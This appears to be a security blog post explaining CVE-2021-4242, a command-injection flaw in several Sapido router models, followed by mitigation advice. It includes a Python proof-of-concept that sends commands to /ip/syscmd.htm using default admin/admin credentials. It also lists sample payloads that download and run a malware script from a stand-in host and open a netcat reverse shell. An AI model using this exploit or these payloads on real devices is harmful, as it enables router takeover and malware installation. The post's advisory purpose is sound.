A serious vulnerability, CVE-2021-4242 (also referenced as VDB-214592), was discovered in several popular Sapido router models — specifically the BR270n, BRC76n, GR297, and RB1732. This flaw allows remote attackers to execute system commands directly on the device by leveraging an insecure implementation within the /ip/syscmd.htm page.

This post exclusively breaks down the vulnerability, explains how attackers exploit it, and includes proof-of-concept code. If your network depends on these routers, you should understand this risk and update or mitigate immediately.

RB1732

The root cause lies in the backend handling of a hidden admin webpage — /ip/syscmd.htm — which processes user input unsafely, leading to OS command injection.

How Does the Vulnerability Work?

OS command injection happens when an application passes user-supplied input into a system shell, allowing a remote attacker to run arbitrary commands with system-level privileges.

With these Sapido models, when a user (often an authenticated admin — but sometimes even unauthenticated, depending on other device configs) sends certain crafted requests to /ip/syscmd.htm, the input is not sanitized or properly checked. The router then executes whatever commands are handed to it.

Original References

- VulDB Entry: VDB-214592
- Exploit-DB
- NVD Details on CVE-2021-4242

Attack Scenario

Imagine your device’s web management panel is exposed to the wider internet (even just to your local network). An attacker can exploit this by making a specially crafted POST request to /ip/syscmd.htm and force the router to execute malicious commands.

No deep technical skill is needed — the exploit is public and easy to use.

Find an exposed or default-admin Sapido router.

2. Craft HTTP POST request with malicious command injected into parameters accepted by /ip/syscmd.htm.
3. Attacker gains control, can run any OS command: download malware, start reverse shells, modify settings, etc.

Proof of Concept Exploit

Below is a simple Python exploit that demonstrates how the attack can be executed.
(Do not use this except for authorized testing on devices you own.)

import requests

# Target device details
router_ip = '192.168.1.1' # Change to the actual router IP
url = f"http://{router_ip}/ip/syscmd.htm";

# Replace 'ls' with any system command you want to run
payload = "ls"

# Prepare POST data — the exact parameter may vary (use 'sysCmd' as an example)
data = {
    'sysCmd': payload
}

# Optional: Routers might require default authentication (try admin/admin or no password)
auth = ('admin', 'admin') # or remove if not required

# Send POST request
response = requests.post(url, data=data, auth=auth)

# Print output (response text may contain command output)
print(response.text)

The router receives the payload, runs ls (list directory), and sends you the result.

- Replace "ls" with "wget http://mal.example.com/malware.sh; sh malware.sh" to download and run malware — or "nc -e /bin/sh attacker_ip attacker_port" for a remote shell.

Critical privacy risk: Attackers can eavesdrop traffic or change your DNS.

If your router admin panel is exposed to the web, it can be exploited by anyone on the internet, not just people in your building.

Fixes and Mitigation

1. Update your router  
Check Sapido’s website for firmware updates. If no patch is available, consider replacing your router.

2. Disable remote management  
Do NOT expose your router’s admin pages to the internet.

3. Change Default Credentials  
Change any default password for your admin/control panel.

4. Network Segmentation  
Limit access to management interfaces to trusted hosts only.

5. Replace if Unsupported  
If your model is not receiving updates, replace it with a more modern, secure router.

Conclusion

CVE-2021-4242 in Sapido routers is a critical vulnerability that allows attackers to take over your network device with a trivial exploit. The exploit can be done remotely, uses simple code, and is already public knowledge.

For more reading

- Sapido Support
- CVE-2021-4242 @ NVD
- Exploit-DB #51119

Stay safe, patch up, and don’t leave your routers open to the world!

*Disclaimer: This post is for educational purposes only. Do not use exploits on devices you do not own or have written permission to test.*

Timeline

Published on: 11/30/2022 14:15:00 UTC
Last modified on: 12/02/2022 18:29:00 UTC